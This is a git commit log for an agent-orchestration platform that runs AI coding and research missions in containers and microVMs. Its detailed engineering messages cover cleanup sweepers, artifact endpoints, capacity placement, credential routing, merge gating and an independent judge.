Containers of completed missions are removed by `spawn_sweeper` after a
30-minute grace, and it works — an earlier report of leaking containers was me
reading that deliberate grace as a bug. But:
- the sweeper cleared the runtime binding even when teardown FAILED, and it
selects on `runtime_endpoint IS NOT NULL`. One transient docker error would
therefore hide a surviving container from the only thing that would retry
it, permanently. It now asks docker whether the container actually
survived: gone means clear, still there means keep the binding and retry —
which closes the orphan path without reintroducing the infinite retry the
original comment was guarding against.
- `set_runtime_binding` discarded rows_affected, so a mismatched workspace
updated nothing and returned Ok. The binding is how the sweeper finds a
container; a silent no-op there leaks one with no record of anything wrong.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
25f075a8be |
feat(api): polish a description before the mission exists, and download an artifact
Two endpoints the wizard redesign needs.
`POST /api/missions/refine-draft` — the polish button fires while the user is
still typing, before anything is created, so it has no id to route on.
`refine` deliberately requires a saved draft because its Accept writes back;
this one has nothing to write back to and returns the text. Same system prompt,
same model chain. The phase list comes from the workflow recipe rather than the
caller, for the same reason `phases_for_create` prefers it: a client that
guessed would have the model write acceptance criteria for phases the mission
will not run.
`GET /api/missions/{id}/artifacts/{artifact_id}/download` — the file itself.
`artifact_content` caps at 2 MiB and reads as UTF-8, so a large or binary
artifact is unreachable by any means today; this streams the bytes with a
filename attached and no ceiling.
Both artifact routes now resolve through ONE containment check. Two copies of
"is this path under _outputs" is two chances for one of them to be the lenient
one, and the lenient one is an arbitrary read of the gateway's filesystem — so a
test asserts there is a single resolver and that both routes call it.
The download filename was chosen by an AGENT and lands in a header every browser
parses, so quotes, backslashes and control characters are stripped rather than
escaped; the test covers a header-injection attempt.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
c66c3c6377 |
feat(ui): the microVM path is reachable from the mission wizard
Everything built today — Firecracker missions, the four backends, the local GPU one — was unreachable from the dashboard. The wizard offered `zeroclaw` and `local_herdr` and nothing else, so a mission created in the UI could not be a microVM mission at all, and `local-ornith`/`glm`/`kimi` were API-only. Testing "our workflows in the UI" would have exercised none of it. Adds the runtime option and a backend picker, fed by a new `GET /api/fleet/backends` that returns `mission_roster::available_backends` verbatim — the SAME list the roster planner is handed, not a second one. Its two rules are both load-bearing and neither is visible from a node's capabilities alone: the image must be built on an online node, and the backend must have a credential contract. `agent-terminal` passes the first and fails the second — bootable, with nothing for the agent inside to authenticate with — so offering it would produce a mission that validates, launches, and dies at the agent turn. Ids are deployment vocabulary, so the picker labels them: a user choosing between `local-ornith` and `canary-claude` should not have to know which company each one bills. An empty list says why (no rootfs built) instead of showing an empty dropdown, and no node is chosen for a microVM mission because `vm_placement` picks it per phase. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
1f6108f769 |
feat(gc): reclaim the mission tree on the gateway
`cleanup_sweeper` prunes ROWS. Deleting a row has never deleted a directory, and `teardown_container` only runs while a mission still exists to tear down — so a mission removed by any path that skipped teardown left its tree behind permanently, on the smallest disk in the fleet (150 GB, shared with postgres and every checkout). 106 mission directories are sitting there now. Filesystem-first, deliberately: the DB is the PREDICATE, never the enumerator. Enumerating from the database is exactly how these became invisible — a directory whose row is gone is the one a row-driven sweep cannot see. Three reapers, one deletion path. Orphan mission dirs (no row, past a 2h grace), scratch trees (_bench/_gate/_verify/_merge past 6h — all four have leaked before), and _outputs past 90d, whose artifact rows are marked only AFTER the files are gone, because the other order claims artifacts are reaped while they are still on disk. The single removal path escalates: the server is uid 65532 and cannot delete what the per-mission daemon leaves as root, so PermissionDenied falls back to `root_copy::purge` and shouts if the tree survives even that. A GC that cannot collect is the thing being fixed, so failures are counted and reported, never swallowed. Guards worth naming: `_cargo` is a SHARED cache every mission writes to and lives under the same root, so an underscore-prefixed sibling treated as an orphan mission would delete it out from under running work and look like a slow cargo build. Only a well-formed mission id is ever a candidate — a directory whose name is not an id can have no row by construction, so without that gate every unrecognised directory looks orphaned. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
dc0443de34 |
feat(fleet): GET /api/fleet/capacity returns the scheduler's own survey
Pulled forward from the observability phase because the capacity harness scenario needs it. A test that recomputed the slot arithmetic in bash would drift from `vm_placement` and then agree with itself while the scheduler did something else — the same shape as every silent-success bug in this codebase. Returns `survey()` + `rank()` unmodified, and keeps `unfit` as its own list: "the fleet is full" and "we could not read the fleet" send an operator to different places, so they must not be summed into one number. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar Sobh
|
72046e7985 |
fix(planner): server-side model calls run on the subscription, not the metered key
The roster planner died with `400 — "Your credit balance is too low to access the Anthropic API"` while every mission on the same machine kept running. Two Anthropic credentials reach this server and they bill differently: `ANTHROPIC_API_KEY` (sk-ant-api, metered, runs out) and the Claude Code subscription token (sk-ant-oat) that every VM already uses. `Runtime::complete` with a BARE model name — "claude-opus-4-8" — resolves to the default provider, which is the metered key. Three server-side callers did that: the roster planner, the Master Planner, and the claw enhancer. Missions were never affected because `mission_runtime` deliberately sends only the subscription token into a guest; the server had no equivalent rule. `subscription::complete_or` is now that rule, and it is the ONE place a subscription token becomes a provider — `evaluator::subscription_judge` had its own copy, and two of them is how one ends up with a prefix check the other lacks. The `sk-ant-oat` prefix is checked rather than the variable name trusted: an API key pasted into the OAuth slot would authenticate, work, and bill the metered account — the same failure again, discovered weeks later. `web_search` is carried explicitly rather than defaulted. The Master Planner and the claw enhancer both pass `true`, and a helper that quietly dropped it would have taken web search away from two features while every test still passed. `validator_preflight` deliberately keeps `Runtime::complete`: it probes whatever validator spec is configured (today `glm:glm-4.7`), and forcing it onto Anthropic would make it prove the wrong thing. A test pins both halves — no other server-side caller may regress to the metered key, and preflight must keep probing the configured spec. 258 lib tests. |
||
|
Omar Sobh
|
3a2d76aa43 |
feat(placement): capacity model for the fleet — observed memory is not capacity
Phase 1a of the fleet-intelligence plan: the arithmetic and the inputs. Nothing is wired to it yet; the launch path still picks `capable.first()`. Placement has been `ORDER BY last_seen DESC` + `.first()` — the most recently heartbeated node. Among healthy nodes all heartbeating every 5s that is arbitrary, and it consults nothing about load, so two missions launched together land on the same machine. It did not matter while tank held the only rootfs image. All three nodes serve `claude` as of today. THE correctness point, and the reason this is not a sort change: a VM that booted 30 seconds ago holds a fraction of its 8 GiB claim, so `mem_pct` reports a sold-out node as nearly idle. `capacity_of` takes the WORSE of observed usage and committed usage. The negative control pins it with the measured case — tank at 60 GiB total / 12 GiB observed / 5 VMs booted: utilisation alone says 5 more fit, the node has room for 1. Booking those five is a node in swap, which slows every VM on it together. Commitments are unioned BY IDENTITY, never added: `vm_list` reports booted VMs, `nodes::pinned_microvm_phases` reports phases chosen but not yet booted (a window of seconds in which a real 8 GiB claim exists that no node can report). The deterministic `vm_id_for` is what lets the same phase be recognised in both — counting it twice would shrink the fleet by the number of phases starting. `EvalRow::headroom()` finally gets a caller. It was written with the doc comment "for placement ranking" and has had zero callers since. It is a TIEBREAK, not a gate: ranking is slots first (spread, don't stack), then live headroom, then node id so the same fleet state yields the same answer twice — which `last_seen DESC` could never promise. Fail-closed per house convention: draining, stale health (>30s, tuned just above the 20s offline sweeper), and an unanswerable `vm_list` are all INELIGIBLE rather than low-scoring. Stale Beszel metrics are the one exception — they demote a node to zero headroom instead of excluding it, because they only ever break ties. `FleetAtCapacity` and `FleetUnreadable` are separate variants with a test asserting the second never says "at capacity": an operator sent hunting a load problem that is really a dead daemon wastes the outage. Also names the two nodes that were both called "New node" (tank, morpheus) — a capacity report naming two machines identically is one nobody can act on. 257 lib tests. |
||
|
Omar Sobh
|
3616bc4733 |
feat(missions): an operator button to merge a mission's branch into main
`MergePolicy::Never` — the default for anything touching code — has always meant
"do not merge on your own", deferring to a human. There was no way for that human
to say yes: `auto_merge` was reachable only from the paper-harvest path, no
workflow template declares `merge_policy`, and every mission ended at a branch.
`POST /api/missions/{id}/merge` is that yes, with a button on the artifacts tab.
The additive-only gate does NOT apply here, deliberately: an operator reading a
code change is exactly the judgement the policy was holding out for.
What is not waived:
- the branch comes from the artifact delivery RECORDED, not rebuilt from the
mission id, and must have `pushed: true`. A phase that never pushed shows no
button instead of one that cannot work.
- an empty branch is refused. A button reporting success for merging nothing
is worse than no button.
- a conflict refuses, aborts, and leaves the repo clean rather than forcing.
It works in a FRESH CLONE under `_merge/<mission>`, never the mission checkout:
that directory is reaped on a timer after a mission ends, so a merge using it
would succeed right after a run and fail inexplicably an hour later. The clone is
made by the server process, so nothing runs as root and ordinary cleanup works —
unlike the copies in `root_copy`.
`merge_and_push` is split out so the operator path and the automatic path run the
SAME git commands; only the gates differ. A test asserts both call it, that the
operator path does not re-apply the additive gate it exists to bypass, and that
it still refuses an empty branch.
Harness 43/43 across all five recipes before this change, with `_gate`, `_bench`
and `_verify` all at zero.
246 lib tests, 20 binaries, 89 frontend tests, clean build.
|
||
|
Omar Sobh
|
a8b8efba6a |
fix(delivery): the on_green_tests gate ran the suite in the live checkout
Fourth instance of the same defect, and the last of the three commands that run as root against a mission tree. `verify_tests` execs the project's test command with `workdir = repo` — the live checkout — inside a container running as ROOT. `cargo test` writes `target/`, so the checkout ends up owned by two uids and the next phase's cargo hits permission-denied. The harness reported `uids=0,65532` the first time this gate ever ran end to end. It survived because it had never run. Every one of the ten harness fixtures used `commit_policy: "always"`; `on_green_tests` and `on_reviewer_approval` were parsed, implemented, and never exercised — and `Gate`'s own doc already records that three recipes carried this policy while it "did precisely nothing" for want of a reader. A policy that is never exercised is indistinguishable from one that is ignored. Consolidated rather than fixed a third time. `root_copy` now owns the pattern — copy through `mission_fs::pack_dir` into a SIBLING of the mission dir, run there, and purge FROM INSIDE THE CONTAINER, because the copy's `target/` is root-owned and the server (uid 65532) cannot delete it. `benchmark_runner` moved onto it; `evaluator_tools::Sandbox` keeps its own copy logic for now (it carries an allow-list and a judge-facing API, so folding it in is a larger change than this moment warrants — noted, not done). The gate fails CLOSED if the copy cannot be made: an unverifiable suite must not license a push. Also adds the `refactor` scenario, which is what found this. I had written it off as "structurally identical to four existing scenarios" — wrong: it is the only recipe carrying `on_green_tests`, and that made it the only one testing this code path at all. 245 lib tests, 20 test binaries. |
||
|
Omar Sobh
|
f6c3ddbf81 |
refactor: no feature depends on Gemini any more
Depleted Gemini prepayment credits took out PDF rendering. The same key was the
only thing standing between level-up proposals and the same fate, so both are
off it.
- `pdf_renderer` is DELETED, not disabled. Nothing sets `render_pdf: true` since
markdown became the deliverable (
|
||
|
Omar Sobh
|
821cbb8622 |
feat(missions): hold every producing phase to delivering, and read markdown instead of PDFs
Two changes the portal review asked for.
1. `benchmark` and `security_hardening` had no delivery guarantee.
`empty_delivery_is_a_failure` tested `kind == "coding"`, on the reasoning that
"research phases legitimately write nothing to the tree" — which the research
directive three modules over contradicts, since it tells the agent to save
findings under /mission/repo/research/. The cost: a `benchmark` mission is ONE
benchmark phase, and with that phase exempt nothing in the platform could fail
it. Same for `security_hardening`, whose first two phases are security_scan and
research.
Now keyed on PRODUCING_KINDS = coding, research, benchmark, security_scan.
`review` stays exempt — a reviewing phase that changes nothing has done its job,
the same distinction `vm_stop_gate::per_node` makes. The test that encoded the
old rule is rewritten rather than deleted, with the reasoning that replaced it.
All 8 harness fixtures are coding phases, so harness behaviour is unchanged.
2. PDFs are dropped; markdown is the deliverable.
Rendering a PDF meant asking an LLM to convert markdown to HTML — a paid API
call per document, on the critical path of "let me read my research", which
failed on depleted Gemini credits and left every artifact unreadable. Styling at
render time is free, offline, instant and cannot 429.
- `mission_outputs` no longer requests a render.
- New `GET /api/missions/{id}/artifacts/{artifact_id}/content`. The frontend had
no way to READ an artifact at all: it listed paths and offered a PDF preview
that never rendered (and whose `rendered_pdf_path` had no route serving it).
Two containment rules, both enforced: the artifact must belong to a mission in
the caller's workspace, and the CANONICALISED path must stay under `_outputs`
— canonicalise first, because checking the string before resolving `..` is the
classic hole.
- `MarkdownBlock` now uses react-markdown + remark-gfm + rehype-slug. It was a
deliberate zero-dep renderer for "the subset the refiner emits", and that
subset stopped matching reality: agent briefs are largely GFM pipe tables,
which it showed as literal pipes. MissionOutputReader and RefineDiffModal use
the same component and gain tables for free.
- Heading ids come from rehype-slug and `outlineOf` slugs with the same
GithubSlugger, so the outline rail's anchors still resolve. A test pins that
invariant, including duplicate headings.
Styles live in globals.css under `.md-view`: the markup is generated so there
are no class hooks, and this project has no styled-jsx registry — the app-router
requirement is documented in next/dist/docs/01-app/02-guides/css-in-js.md, which
frontend/AGENTS.md exists to make me read.
The artifacts tab moved to `MissionArtifacts.tsx`. MissionCanvas was 1341 lines
against a 1250 limit BEFORE this change — already failing lint; it is now 1248.
238 backend lib tests, 20 backend test binaries, 89 frontend tests, clean tsc,
clean eslint on every file touched, production build succeeds.
|
||
|
Omar Sobh
|
ceab28b902 |
fix(missions): a repo-less mission threw away everything its agents wrote
`capture_finished_coding_phases` selects `AND m.repo_id IS NOT NULL`. Every
`research_only` mission is repo-less by design (`requires_repo = false`), so the
whole capture path — including the `sync_out` that copies the agent's work OUT
of the container — never ran, and the container was reaped unread.
Measured on the real mission `019fdc35` ("ClawHDF5 Research"): four agents, 9.5
minutes, EIGHT research documents — an HDF5 parser design, a Rust ecosystem
survey, a seven-crate dependency map, tracing and fuzzing strategy. Result:
`mission_artifacts` = 0, mission `completed`. Not recoverable: no container, no
volume, nothing under the missions root.
The platform did not merely fail to save the work — it INSTRUCTED it. The task
preamble tells every agent "/mission/repo ... is the mission's git checkout",
whether or not one exists, and the research directive says to save findings
there. One agent recorded the contradiction verbatim: "No git repo — file is
written." It looked, saw no repo, complied anyway.
Three changes, one per link in that chain:
1. `mission_outputs::capture_repo_less_phases` — copies `/mission/repo` out of
the container and registers each file as an artifact under `_outputs/`,
which is a SIBLING of the mission dir and survives `teardown_container`.
This is also the code that finally reads `produces`, until now an inert key:
`produces = ["md","pdf"]` now drives `render_pdf` into the existing
pdf_renderer worker.
2. The preamble is conditional. A repo-less mission is told its workspace is
scratch, that git_operations has nothing to act on, and — the part that
matters — that files left there ARE collected and published. An agent told
only "there is no repo" has no reason to write anything to disk.
3. A repo-less phase that produced no files is FAILED, unless it declares
`allow_empty`. The same rule `empty_delivery_is_a_failure` applies to coding,
for the only channel these phases have. Note this is NOT that guard widened:
it keys on `files_changed`, which is meaningless with no checkout, and would
not have saved the ClawHDF5 documents.
Negative controls, each ablated and confirmed failing: ignore `has_repo` and the
preamble test fails; empty the skip-list and the capture test keeps `.git` and
`node_modules`; write artifacts inside the mission dir and the survives-the-reap
test fails.
236 lib tests pass.
|
||
|
Omar SobhandClaude Opus 5
|
3300c9d149 |
feat(missions): say at boot whether the independent judge can be reached
The z.ai credential expired mid-session and the first symptom was a two-phase mission failing after BOTH its VMs had run — the phase completed, delivered, pushed, and then one evaluation row said "the independent validator could not be reached this pass". `cross_provider_judge` refusing to fall back to the agent's own provider is correct: a verdict from the same family is not an independent check, and producing one quietly would claim a property the verdict does not have. The cost of that refusal is that a dead validator makes EVERY `done_when` phase unmeetable — and the information needed to know that existed from the moment the server booted. Nobody was told until it was expensive. The sibling of `runtime_preflight`, and the same stance: a report, not a gate. The server must still boot with a broken validator — refusing to start turns a degraded deployment into a dead one, and a mission that opts out (`validator_model = ''`) is unaffected. Two faults, kept distinguishable because they send an operator to different places: `Unregistered` (no provider by that name — the evaluator will refuse it rather than judge with the default, so register one) versus `Unreachable` (it resolved and the call failed — fix the credential). Collapsing them into "the validator is broken" is the kind of merge that costs an hour. The probe is a real completion through `Runtime::complete` — the same resolve-then-stream path the judge itself takes. A models-list or a HEAD would pass for an expired key, a revoked key, and a key with no quota, which are exactly the cases worth catching; and a probe that dialled the provider its own way could pass while the real call fails. `NotConfigured` is reported too, and not as an error: a deployment may choose the house model. It is still worth saying out loud that the check running is not an independent one. 551 tests pass, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
08dd227a45 |
feat(missions): give the planner the repository's contents, not just its names
The root listing was not enough. Given names alone the planner wrote "optimise the hot path" for a crate whose hot path is `add(a: i64, b: i64) -> i64` — a mission that was unachievable from the moment it was written, and that nothing discovered until an agent had built a benchmark harness in a VM to measure an integer addition, honestly reported no improvement was possible, and the judge correctly failed the phase. `repo_digest` fetches the whole tree (so "does this have benches/" is a fact, not an inference) and then file CONTENTS in priority order: manifests first — they say what the project is — then the README, then source ascending by size, since a planner learns more from twenty small files than from one large one. Lockfiles and build output are dropped: enormous, and they say nothing a manifest does not. THE RULE THIS ENFORCES, and the reason the rendering is its own tested module: a digest of any repository worth planning against is partial, and a model shown a partial view without being told it is partial plans as though it saw everything. So every omission is stated — how many files exist, how many were shown, what was cut from each, and "anything not shown you have NOT seen". Same distinction as `Option<u32>` for the subagent probe: "we did not look" and "there is nothing there" are different facts. Failures degrade to a stated absence rather than an empty string, and the three cases stay distinguishable: no repository, a tree that could not be read, and a tree read but no contents fetched. An unreadable tree is never rendered as an empty repository. Two more things the prompt now says, both learned from that run: plan for the repository as it IS rather than as the description implies (and if the description asks for something the code cannot support, say so in the task and plan the phase that establishes the truth, rather than a phase that must fail); and a mission agent has NO package-registry access. The agent discovered the second one mid-run and wrote a dependency-free `std::time::Instant` harness after Criterion could not be added — good adaptation, but nothing had warned it. 549 tests pass, clippy clean. The budget/priority/truncation logic is pure and tested; only the fetching touches the network. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
a33dbdcdc3 |
feat(missions): W1/#13 — let a model author the mission's phases
The last unstarted item from the missions-as-workflows plan, and the other half
of Slice 5: that one lets a model size the TEAM, this lets it decide what the
work IS.
Every mission's phases come from one of five hand-written recipes in
`templates/workflows/*.toml`, chosen by `template_kind` before anyone saw the
mission. That is the "do it this way: 1, 2, 3" over-specification that makes a
capable model follow a worse plan than it would have chosen. The recipes stay —
they are still the default for a mission nobody proposes a plan for, and the
fallback when a proposal is refused.
Same three verbs and the same review gate as the roster, deliberately: propose
and decide are separate because only the second changes a mission, and a second
shape would be a second thing to get right. Approving REPLACES the phases (a
plan is an answer to "what is this mission", not an addition to one), draft-only.
GROUNDED IN WHAT THE PLATFORM ACTUALLY READS, which is the part that makes this
more than a copy. `phase_config::KNOWN_KEYS` already names every phase-config key
and the code that reads it — the registry built after `task` sat unread through
every mission. A plan is validated against it, so a model cannot propose a phase
whose settings nothing will act on: the failure that registry exists to EXPOSE is
one this path cannot create. Phase kinds are checked the same way, because an
unknown kind does not error — it falls through to the catch-all purpose and runs
as a generic phase that looks like it worked.
TWO THINGS THE WORK ITSELF FOUND, both the same shape:
- `done_when_check` — the stop-gate key added earlier today — was never
registered in `phase_config`, so every mission that set it has been logging
it as an unknown key. Found by a test written for a different purpose, which
is the registry doing exactly its job. Now registered with its reader.
- `done_when` and `max_iterations` are COLUMNS promoted out of config by
`missions::create`; the evaluator sweep filters on the column in SQL every
tick. My first insert wrote the config blob alone, which would have stored a
plan's completion condition where nothing judges it. NEGATIVE CONTROL run:
binding NULL instead of the promoted value fails
`an_approved_plan_replaces_the_missions_phases`.
`order_idx` comes from the array's own order rather than a field the model sets:
two sources for one fact is how a plan ends up with two phase 0s, and order_idx
is what `start_pending_phases` sequences on.
MAX_PHASES is 4 and the prompt argues for one. Each phase is a full agent run in
sequence, and splitting one change into plan → implement → test is the documented
anti-pattern — a single agent doing all three keeps the context that makes the
later steps good.
543 tests pass, clippy clean. Migration 0072.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
1797669296 |
feat(missions): Slice 5 — let a model size the mission's team
`routes/planner.rs` has had Opus proposing rosters since the Master Planner
shipped, and none of it ever reached a mission: the proposal lived in React state
and died with the tab. A mission's shape came from a team template instead —
fixed roles, and every claw minted `claude-sonnet-5` from a literal in
`mint_team_from_template`. That literal is why no mission has ever run more than
one provider.
A roster is `(topology_kind, [(role, backend)])`, which is exactly what the
composed executor already consumes: `Roster::graph` builds a `TopologyGraph` with
the backend in `attrs`, and `MicroVmTurnExecutor` reads `attrs["backend"]` per
node. So a verifier on another provider's rootfs stops being a bolt-on and
becomes a graph node — the correlated-failure break the independent judge exists
for, one layer down.
Three verbs, and the split is the point. **suggest** asks the model and persists
the answer, changing nothing. **decide** approves (writes `config.roster` and
switches the mission to the composed engine) or rejects. A proposal is never
applied on arrival: a model sizing a team is a suggestion about how many VMs to
boot, and this codebase treats model output that costs money as evidence for a
decision, not the decision.
Fail-closed at every seam, because each of these otherwise surfaces much later
and much more expensively:
- a backend no ONLINE node can boot is refused when PROPOSED, naming the ones
the fleet actually has. Placement would refuse it too — at launch, after the
roster was approved and someone believed the mission would run. The model is
handed that same list in its prompt, so the usual case never arises.
- an invented `topology_kind` is refused, not defaulted. `parse_topology_kind`
defaults to hub-spoke, which is right for a template we wrote and wrong for a
string a model just produced: running a `pipeline` proposal as a hub-and-spoke
changes what every node sees and nothing would say so.
- the roster is validated BEFORE it is stored, so a stored proposal is always
one that could be approved; and again at approval, against the fleet as it is
then — a node can go offline in between.
- `MAX_MEMBERS = 6`. Each member is a whole VM, not a subagent, and a model
asked to size a team proposes twelve happily.
Two properties live in SQL rather than in the handler: at most one approved
roster per mission (partial unique index — two approved rosters are two answers
to "what shape is this mission", and the executor reads one field), and
decide-once (`WHERE status = 'proposed'`, so a double-clicked approve claims
nothing the second time). Both tested against a real database, including that the
second approval is refused by Postgres rather than merely losing a race.
NEGATIVE CONTROL, run rather than assumed: with the roster preference removed
from `composed_graph`, `an_approved_roster_outranks_the_template` FAILS — 3 nodes
from the template instead of the roster's 2. A stored roster that is silently
ignored at launch is precisely the shape this project keeps paying for.
Not closed: per-role models for CLAWS. `template_roles` has no model column, so a
ZeroClaw team still mints one model for every role. The literal is now a named
constant that says so and points at the roster path, rather than sitting inline
where nobody reads it.
527 tests pass, clippy clean. Migration 0070. Not yet exercised against the
deployed stack — the route has never been called with a live model.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
6991e21f94 |
feat(missions): the completion gate, moved into the agent's own loop
Every check this platform makes on a phase runs AFTER the agent has stopped: the
evaluator judges `done_when`, capture notices a coding phase delivered nothing,
and either verdict costs a whole new VM — a fresh boot, a fresh inject, and an
agent starting over with none of the context that got it that far. Meanwhile the
documented failure mode of a long-running agent is that it stops too early.
MEASURED FIRST, because the plan's chosen seam does not exist here. Probing every
hook name under `claude -p` (2.1.222, hermetic `--settings` file): `SessionStart`,
`UserPromptSubmit`, `PreToolUse`, `PostToolUse`, `SubagentStop` and `Stop` fire;
`TaskCreated`, `TaskCompleted`, `TeammateIdle`, `SessionEnd`, `Notification` and
`PreCompact` do not. The agent-teams hooks Slice 3 deferred are inert on our path
BY CONSTRUCTION — no team forms in print mode at all — so `done_when` could never
have been wired through `TaskCompleted` exit 2. `Stop` is the seam.
`vm_stop_gate` generates a POSIX `sh` hook installed via `--settings`, under
`/root/gate` and never under `/mission/repo` (anything there is collected and
arrives in the user's delivered patch). It refuses a stop when:
- the phase must deliver and the repository is untouched — asked as TWO
questions, since an agent that committed leaves a clean tree and an agent
that did not leaves HEAD alone; only both together mean nothing happened;
- `config.done_when_check` — a command the phase author wrote — exits nonzero,
in which case its OUTPUT is the feedback, not just "the check failed".
Deliberately mechanical. NOT the `done_when` verdict: that is an LLM judgement
made host-side by a different provider on purpose, and re-running it inside the
VM would put the agent's own environment in charge of grading the agent — the
correlated failure the independent judge exists to break.
THE CAP IS LOAD-BEARING. Without a ceiling a stuck agent is blocked, retries, is
blocked again, and burns the hour-long turn budget instead of failing visibly.
After 3 blocks the gate lets it stop, records that it gave up, and leaves the
verdict to the existing post-hoc path, which is unchanged.
PROVEN AGAINST A LIVE AGENT with the REAL generated artifacts, not a paraphrase:
- a read-only task → blocked 3 times with our exact message, released at
exactly the cap, and the agent took the escape hatch the message offers
("if the task genuinely requires no code change, say so explicitly") rather
than touching a file to satisfy the gate. It did not Goodhart it.
- a task that needs an edit → `blocks: 0`, log says `pass`. No false positives.
Two things that could fail silently, both closed. `--settings` is PROBED in the
image before use (`claude --help | grep`), because an unknown option is a hard
CLI error that would turn every gated phase into a failed one; a build without
it degrades to ungated and says so, since losing a check is better than losing
the work. And `stop_blocks` is reported out of the guest — `None` for no gate,
`0` for got-it-right-first-time — so a gate that never fires is distinguishable
from one that was never installed.
`require_changes` does NOT apply per node on a composed run: a graph's verifier
node is SUPPOSED to leave the tree alone, and a per-node gate would refuse its
stop three times for doing its job. `StopGate::per_node` drops it and keeps the
declared check. The phase-level rule still runs post-hoc against what the last
node collected.
An ungated phase's command is byte-identical to before, asserted by test — most
phases are gated, so the ungated path is the one nobody would notice breaking.
517 tests pass, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
12147a1e01 |
feat(missions): Slice 4 — the two engines composed, with the file handoff proven
`team_engine='composed'` (the third name migration 0069 anticipated) runs a
mission as a durable ZeroClaw graph whose every node is a whole
Claude-Code-in-a-microVM session. Engine Z owns checkpoint/resume, cancellation
and per-node heterogeneity; Engine C owns shared context and cheap fan-out;
neither has the other's asset, which is why this is a composition and not a
compromise.
`MicroVmTurnExecutor` implements the existing `TurnExecutor`, so it inherits the
planners, the checkpoint, the stale-run recovery, `close_finished_phases`, the
evaluator, capture and delivery unchanged — the same trick `SubTopologyExecutor`
already plays with a heavy `run_turn`. Producer side emits ONE `queued` row
carrying the real graph and lets the worker claim it: the durability IS being
worker-driven, and the solo path's `tokio::spawn` has none of it. Still exactly
one `topology_runs` row per unit of work and one completion path — `finish()` is
now that one place, shared by every tier.
THE TRAP, solved and proven. A VM is inject → run → collect → destroy, so a
per-node VM with text-only handoff silently loses every file an earlier node
wrote: node 2 boots from the original checkout, sees nothing, and still reports
success. The mission's host checkout is the medium — every node injects from it
and collects back over it — and two properties make that safe rather than lucky:
`execute_resumable` is strictly sequential, so two VMs never write one directory;
and the vm id is deterministic per (phase, iteration, step), so a duplicate is
refused by the node ("vm already exists") instead of becoming a second writer.
NEGATIVE CONTROL, run rather than assumed: with `repo` swapped for a private
per-node workspace, `a_later_node_sees_an_earlier_nodes_files` FAILS with
`saw:[]`; restored, it passes. The `PhaseVm` seam exists for exactly this — it
models inject/collect through the real `mission_fs` tar path in milliseconds.
Two durability traps this tier walks into, both closed:
- `requeue_stale` fires at 180s on `updated_at`, and one node here can run for
an hour. `SubTopologyExecutor` keeps its parent alive from each leaf step;
there is nothing between the start and end of a VM turn, so the turn holds a
ticker that touches `updated_at` every 30s and aborts on drop. Without it a
healthy composed run is requeued mid-node and boots a second VM.
- the 15-minute stuck-run reaper asks "any step records since it was CREATED?",
which describes a healthy composed run as readily as a wedged one. Hence
`REAPABLE_TIERS` — worker-driven minus this tier. Reaping it would be #54 in
a different costume.
`on_launch` mints no team for a microVM mission, deliberately: claws in
containers are what a VM mission does not use. So `mission_orchestrator::
composed_graph` builds the shape from the team template directly — nodes, roles
and pattern, zero claws provisioned. Per-node `attrs["backend"]` and
`attrs["node_id"]` override the mission's, which is what makes a validator node
on another provider's image a first-class graph node; a malformed `node_id`
fails the node rather than quietly running it where the graph did not ask.
Refusals are recorded as a failed run, not returned as an error: `launch_phase`
is swept every ten seconds, so a returned error is a phase that retries forever
while the log repeats itself.
501 tests pass, clippy clean. NOT yet proven end to end: no composed mission has
run on the fleet, so the resume-after-a-killed-worker leg is argued from the DB
test and the step-numbering test, not from a real two-node run.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
4f07430e92 |
feat(missions): B4.5 — phase_runner runs a microvm mission in a VM
`runtime_kind='microvm'` placed a mission on a KVM-capable node and then nothing
executed it: config accepted without a reader, one of the four seams this project
keeps closing. This is the reader.
`microvm_executor` — inject → run → collect → destroy, the shape copy mode
already proved for containers with a VM boundary instead of a namespace one. The
checkout goes in as a tar, the work comes back as a tar over the SAME host path,
so `mission_delivery::capture_phase_diff_at` needs no change at all.
The agent is told NOT to push, unlike the container path's session prompt. Two
reasons: delivery is already host-side and diffs the collected tree against the
recorded clone point (covering committed, staged and unstaged work in one pass),
so pushing would add a second untested way for work to arrive; and pushing would
mean forge credentials inside the VM, when the point of collecting is that the
guest never holds them.
Exactly ONE topology_runs row (tier='microvm'), mirroring launch_direct_session:
close_finished_phases, evaluation, capture and delivery all key off those rows,
and a second completion path would be a second way for a phase to finish with one
of them untested. The row and the phase flip happen BEFORE any fallible VM work,
so a missing token or a node that lost its capability shows up as a failed run an
operator can see — not a phase that stays pending and retries every ten seconds.
Fail-closed points, each the reader for a guarantee built earlier:
- credentials resolve BEFORE the VM boots, so a missing subscription token
fails the phase instead of booting a VM whose agent sits unauthenticated
- a VM reporting egress:false is REFUSED, which is what makes create's
egress/egress_host/egress_guest fields more than decoration — a turn without
egress does not fail, it hangs
- the injected checkout is PROVEN present in the guest before an agent turn is
spent on it; an inject that reports success while landing nothing would
otherwise become an agent reporting an empty repository
- work is collected even when the agent exits non-zero — a turn that failed
partway still wrote files, and a retry needs to see them
- a turn that ran but could not be collected is a FAILED phase, not a happy one
- destroy runs on every exit path, or an 8 GB sparse rootfs leaks
Two integration gaps found while wiring, both of which would have produced a
mission that completed having delivered nothing:
- `capture_finished_coding_phases` pulls work out of a CONTAINER before
capturing. A microvm mission has none, so the docker connect would fail, the
loop would `continue`, and capture would be skipped forever while the phase
sat marked completed. Its work is already collected by the executor.
- `launch_phase` provisioned a runtime container, copied the checkout into it
and wrote a runtime binding + pairing code describing a runtime nothing uses;
and the orchestrator's workspace pin — deliberately FATAL — would have failed
a microVM launch on a container it was never going to use.
461 tests pass, clippy clean.
NOT YET PROVEN END TO END: no mission has run through this path. The pieces under
